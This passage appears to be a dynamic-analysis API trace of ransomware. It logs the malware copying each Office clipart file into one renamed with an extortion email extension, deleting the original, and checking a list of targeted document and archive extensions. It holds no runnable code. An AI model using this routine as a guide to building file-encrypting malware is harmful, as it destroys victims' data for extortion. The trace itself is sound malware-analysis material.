SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.889] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf")) returned 1 [0217.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0217.889] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0217.889] lstrlenW (lpString=".doc") returned 4 [0217.889] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.889] lstrlenW (lpString=".docx") returned 5 [0217.889] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.889] lstrlenW (lpString=".pdf") returned 4 [0217.889] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.890] lstrlenW (lpString=".xls") returned 4 [0217.890] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.890] lstrlenW (lpString=".xlsx") returned 5 [0217.890] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.890] lstrlenW (lpString=".ppt") returned 4 [0217.890] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0217.890] lstrlenW (lpString=".zip") returned 4 [0217.890] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.890] lstrlenW (lpString=".rar") returned 4 [0217.890] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.890] lstrlenW (lpString=".bz2") returned 4 [0217.890] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.890] lstrlenW (lpString=".7z") returned 3 [0217.890] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0217.890] lstrlenW (lpString=".dbf") returned 4 [0217.890] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0217.890] lstrlenW (lpString=".1cd") returned 4 [0217.890] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0217.890] lstrlenW (lpString=".jpg") returned 4 [0217.890] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.891] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=13102) returned 1 [0217.891] CloseHandle (hObject=0x1f4) returned 1 [0217.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf")) returned 0x20 [0217.891] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0217.891] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.891] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0217.891] GetLastError () returned 0x0 [0217.891] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x332e, lpOverlapped=0x0) returned 1 [0217.898] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x3330, lpOverlapped=0x0) returned 1 [0217.899] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.899] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.899] SetEndOfFile (hFile=0x218) returned 1 [0217.899] CloseHandle (hObject=0x218) returned 1 [0217.900] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.900] SetEndOfFile (hFile=0x1f4) returned 1 [0217.900] CloseHandle (hObject=0x1f4) returned 1 [0217.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.900] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf")) returned 1 [0217.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0217.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0217.901] lstrlenW (lpString=".doc") returned 4 [0217.901] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.901] lstrlenW (lpString=".docx") returned 5 [0217.901] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.901] lstrlenW (lpString=".pdf") returned 4 [0217.901] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.901] lstrlenW (lpString=".xls") returned 4 [0217.901] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.901] lstrlenW (lpString=".xlsx") returned 5 [0217.901] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.901] lstrlenW (lpString=".ppt") returned 4 [0217.901] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0217.901] lstrlenW (lpString=".zip") returned 4 [0217.901] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.901] lstrlenW (lpString=".rar") returned 4 [0217.901] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.901] lstrlenW (lpString=".bz2") returned 4 [0217.901] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.901] lstrlenW (lpString=".7z") returned 3 [0217.901] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0217.901] lstrlenW (lpString=".dbf") returned 4 [0217.901] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0217.901] lstrlenW (lpString=".1cd") returned 4 [0217.901] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 63 [0217.901] lstrlenW (lpString=".jpg") returned 4 [0217.901] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.901] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=6996) returned 1 [0217.902] CloseHandle (hObject=0x1f4) returned 1 [0217.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf")) returned 0x20 [0217.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0217.902] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.902] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0217.902] GetLastError () returned 0x0 [0217.902] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x1b54, lpOverlapped=0x0) returned 1 [0217.913] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x1b60, lpOverlapped=0x0) returned 1 [0217.913] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.913] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.914] SetEndOfFile (hFile=0x218) returned 1 [0217.914] CloseHandle (hObject=0x218) returned 1 [0217.914] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.914] SetEndOfFile (hFile=0x1f4) returned 1 [0217.914] CloseHandle (hObject=0x1f4) returned 1 [0217.915] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.915] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf")) returned 1 [0217.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0217.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0217.915] lstrlenW (lpString=".doc") returned 4 [0217.915] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.915] lstrlenW (lpString=".docx") returned 5 [0217.915] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.915] lstrlenW (lpString=".pdf") returned 4 [0217.915] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.915] lstrlenW (lpString=".xls") returned 4 [0217.915] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.915] lstrlenW (lpString=".xlsx") returned 5 [0217.915] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.915] lstrlenW (lpString=".ppt") returned 4 [0217.915] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0217.915] lstrlenW (lpString=".zip") returned 4 [0217.915] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.915] lstrlenW (lpString=".rar") returned 4 [0217.915] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.915] lstrlenW (lpString=".bz2") returned 4 [0217.915] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.915] lstrlenW (lpString=".7z") returned 3 [0217.915] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0217.915] lstrlenW (lpString=".dbf") returned 4 [0217.915] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0217.915] lstrlenW (lpString=".1cd") returned 4 [0217.915] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.915] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0217.916] lstrlenW (lpString=".jpg") returned 4 [0217.916] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.916] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=27552) returned 1 [0217.916] CloseHandle (hObject=0x1f4) returned 1 [0217.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf")) returned 0x20 [0217.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0217.916] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.916] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0217.917] GetLastError () returned 0x0 [0217.917] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x6ba0, lpOverlapped=0x0) returned 1 [0217.930] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x6bb0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x6bb0, lpOverlapped=0x0) returned 1 [0217.931] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.931] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.931] SetEndOfFile (hFile=0x218) returned 1 [0217.931] CloseHandle (hObject=0x218) returned 1 [0217.932] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.932] SetEndOfFile (hFile=0x1f4) returned 1 [0217.933] CloseHandle (hObject=0x1f4) returned 1 [0217.933] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.933] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf")) returned 1 [0217.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0217.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0217.933] lstrlenW (lpString=".doc") returned 4 [0217.933] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.933] lstrlenW (lpString=".docx") returned 5 [0217.933] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.933] lstrlenW (lpString=".pdf") returned 4 [0217.933] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.933] lstrlenW (lpString=".xls") returned 4 [0217.933] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.933] lstrlenW (lpString=".xlsx") returned 5 [0217.933] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.933] lstrlenW (lpString=".ppt") returned 4 [0217.933] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0217.933] lstrlenW (lpString=".zip") returned 4 [0217.933] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.933] lstrlenW (lpString=".rar") returned 4 [0217.933] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.934] lstrlenW (lpString=".bz2") returned 4 [0217.934] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.934] lstrlenW (lpString=".7z") returned 3 [0217.934] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0217.934] lstrlenW (lpString=".dbf") returned 4 [0217.934] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0217.934] lstrlenW (lpString=".1cd") returned 4 [0217.934] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF") returned 63 [0217.934] lstrlenW (lpString=".jpg") returned 4 [0217.934] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.934] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=6256) returned 1 [0217.934] CloseHandle (hObject=0x1f4) returned 1 [0217.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf")) returned 0x20 [0217.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0217.935] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.935] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0217.935] GetLastError () returned 0x0 [0217.935] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x1870, lpOverlapped=0x0) returned 1 [0217.936] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x1880, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x1880, lpOverlapped=0x0) returned 1 [0217.937] ReadFile (in: hFile=0x1f4, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.937] WriteFile (in: hFile=0x218, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.937] SetEndOfFile (hFile=0x218) returned 1 [0217.937] CloseHandle (hObject=0x218) returned 1 [0217.937] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.937] SetEndOfFile (hFile=0x1f4) returned 1 [0217.938] CloseHandle (hObject=0x1f4) returned 1 [0217.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.938] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00923_.wmf")) returned 1 [0217.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0217.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0217.939] lstrlenW (lpString=".doc") returned 4 [0217.939] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.939] lstrlenW (lpString=".docx") returned 5 [0217.939] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.939] lstrlenW (lpString=".pdf") returned 4 [0217.939] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.939] lstrlenW (lpString=".xls") returned 4 [0217.939] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.939] lstrlenW (lpString=".xlsx") returned 5 [0217.939] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.939] lstrlenW (lpString=".ppt") returned 4 [0217.939] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0217.939] lstrlenW (lpString=".zip") returned 4 [0217.939] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.939] lstrlenW (lpString=".rar") returned 4 [0217.939] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.939] lstrlenW (lpString=".bz2") returned 4 [0217.939] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.939] lstrlenW (lpString=".7z") returned 3 [0217.939] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0217.939] lstrlenW (lpString=".dbf") returned 4 [0217.939] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0217.939] lstrlenW (lpString=".1cd") returned 4 [0217.939] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 63 [0217.939] lstrlenW (lpString=".jpg") returned 4 [0217.939] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.940] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=19476) returned 1 [0217.940] CloseHandle (hObject=0x218) returned 1 [0217.940] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft 